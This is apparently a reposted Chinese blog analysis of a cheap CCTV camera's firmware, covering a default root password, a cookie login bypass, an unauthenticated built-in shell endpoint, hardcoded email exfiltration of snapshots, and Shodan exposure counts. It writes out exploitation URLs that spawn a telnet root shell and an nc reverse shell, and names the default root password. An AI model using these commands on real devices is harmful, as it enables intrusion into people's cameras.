0x00漏洞分析 今天看老外分析了一款廉价CCTV摄像头的文章,地址在https:www。pentestpartners。comblogpwningcctvcameras,摄像头的amazon购买地址是http:www。amazon。co。ukdpB0162AQCO4,老外曝光的漏洞主要有四个,分别是默认密码,web登陆认证绕过,内建的webshell,以及发送摄像图片到硬编码的邮箱地址,老外的文章经过我的测试,有错误和不全的地方,我都一一补充在下面了:) 1。默认密码 WEB默认登陆名是admin,密码是空。 另外经过破解passwd,发现root的默认密码是juantech,可以通过telnet登录直接获取cmdshell,如图1: 2。WEB认证绕过 当你第一次访问的时候,index。html会要求你输入用户名和密码,输入正确,则跳转到view2。html。如果你直接访问view2。html,会被重定向到index。html,要求你输入帐户信息。下载固件用binwalk解压,如图2: 查看view2。js,发现以下内容:(document)。ready(function(){ dvrcamcntCookies。get(dvrcamcnt); dvrusrCookies。get(dvrusr); dvrpwdCookies。get(dvrpwd); if(dvrcamcntnulldvrusrnulldvrpwdnull) { location。hrefindex。html; } 可以看到,如果dvrcamcnt,dvrusr,dvrpwd这3个值为空,就会跳转到index。html,所以我们只要将dvrcamcnt,dvrusr,dvrpwd设置不为空就可以了,通过查看view2。js源码可以知道,dvrcamcnt其实是控制频道(chanel)的,如下:functiongotoopenall() 80{ 81if(dvrvieweramp;amp;dvrviewer。ConnectRTMP) 82{ 83dvrviewer。SetPlayerNum(dvrcamcnt); 84switch(dvrcamcnt) 85{ 86case4: 87dvrviewer。flSetViewDiv(4); 88break; 89case8: 90dvrviewer。flSetViewDiv(9); 91break; 92case16: 93dvrviewer。flSetViewDiv(16); 94break; 95case24: 96dvrviewer。flSetViewDiv(25); 97break; 98} 99openall(dvrcamcnt); 100} 101else 102{ 103dvrviewer(viewer)〔0〕; 104setTimeout(gotoopenall,1000); 105} 106} 原文说dvrcamcnt只能设置2,4,8,24这几个值。实际测试,输入其他值都可以的。绕过登陆认证的证明如图3 3。内建的webshell 通过查看解压后的固件目录,我们发现dvrapp包含了web服务,使用strings查看dvrapp二进制,可以看到moo,whoami,shell,snapshot等字符,尝试访问,发现没有任何验证就可以访问这些功能,如图4, 访问shell的时候,卡住了,把dvrapp拖入ida,查看shell功能相应的处理逻辑,因为是固件是ARM小端的架构,可以直接在IDA里F5看伪代码。如图5 这里利用有2个方式,一个是直接telnetd绑定binsh到任意端口,然后telnet连接过去,不需要认证就可以telnet登录,这个利用方式在你不知道固件本身TELNET的账户信息的时候,是个很常见的利用方法。命令如下:http:目标ipshell?usrsbintelnetdlbinshp25 但是实际测试还要考虑防火墙NAT的问题,好多设备仅仅映射80出来,你开通的其他端口,虽然设备打开了,但是你连接不上去。如图6。 这时候你可以用nc反弹shell出来,估计是因为固件版本不一样,我测试的目标busybox里是自带nc的,所以通过执行http:目标ipshell?binbusyboxnc我的IP53ebinsh 就可以获取到反弹的cmdshell了,如图7 文章说他的固件的busybox没有带nc,所以他静态编译了一个busybox,然后通过wget下载到一个可写的目录,然后赋予busybox可执行权限,最后运行nc命令。他已经提供了编译好的busybox,可以通过http:212。111。43。161busybox来下载。 4。发送摄像图片到硬编码的邮箱地址 通过strings查看dvrapp二进制,还发现了另一处可疑的字符串 。rodata:002260E00000005ACtargetlawishereyeah。netamp;subjectWhoareyou?amp;contentsamp;snapshotyesamp;vin0amp;size320180 通过在github上搜索lawishereyeah。net,找到了https:github。comsimonjiuanipcblobmastersrccgimisc。c,通过源码可以看到defineDEFAULTUSEREMAILdvruseresee100。com defineDEFAULTUSERPASSWORDdvrhtml defineDEFAULTSMTPSERVERmail。esee100。com defineDEAFULTTARGEEMAILlawishereyeah。net hdmoore在twitter也提到这个中国邮箱,所以我略微的看了看。目前mail。esee100。com已经不解析了,但是esee100。com的CNMAE解析到了www。dvrskype。com。通过查询www。dvrskype。com的域名信息,可以看到域名的拥有者是caostorm163。com,如图8,注意这里ORG是广州市九安光电技术有限公司,而github的上传者也是九安光电技术的技术人员。通过图9可以看到,他会把whoami的返回信息和CCTV摄像头启动时的拍摄的照片发到lawishereyeah。net,当然现在这个SMTP发送服务器已经不存在了,也有可能是当时开发留下的测试的功能。0x01全球统计 因为是运行的自定义的web服务器,HTTP服务器头包含明显的JAWS1。0特征,最近sans比较关注国内的漏洞扫描(https:isc。sans。eduforumsdiaryScanningforFortinetsshbackdoor20635),所以我就直接用shodan的结果了。如图10 可以看到这款廉价的CCTV摄像头对公网开放的全球大概有42545台,最常用的端口是808080,用的最多的国家是土耳其,印度,越南。:) 目前应该也有对这个CCTV摄像头的自动化恶意利用了,通过查看几个,发现几台设备的进程里都包含1560root620S。dropbearp15081rtmpdropbeardropbearrsaho 以及wget远程下载恶意利用文件。0x02漏洞防护 目前官方还没有补丁固件,建议不要对外开放8023等管理端口。0x03感谢的人 感谢低调的张老师教我逆向知识,张老师的好和善是对我问的幼稚问题都耐心的回答,从来没烦过。 原创文章,作者:Drops,转载自:http:www。mottoin。comtech118722。html